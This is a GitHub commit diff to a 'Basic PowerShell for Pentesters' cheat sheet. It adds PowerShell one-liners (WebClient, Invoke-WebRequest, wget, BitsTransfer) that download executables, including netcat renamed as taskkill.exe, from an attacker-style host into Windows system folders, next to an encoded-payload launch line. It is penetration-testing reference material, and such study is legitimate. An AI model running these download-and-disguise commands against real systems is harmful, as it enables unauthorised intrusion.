Merge pull request #15 from clem9669/patch-3

Updating Basic PowerShell for Pentesters
This commit is contained in:
Carlos Polop 2020-09-07 12:53:10 +02:00 committed by GitHub
commit 8a96aec0a9
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -39,14 +39,26 @@ powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
## Download
### System.Net.WebClient
```text
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```
### Invoke-WebRequest
```text
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
```
### Wget
```text
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```
### BitsTransfer
```text
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
#OR
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```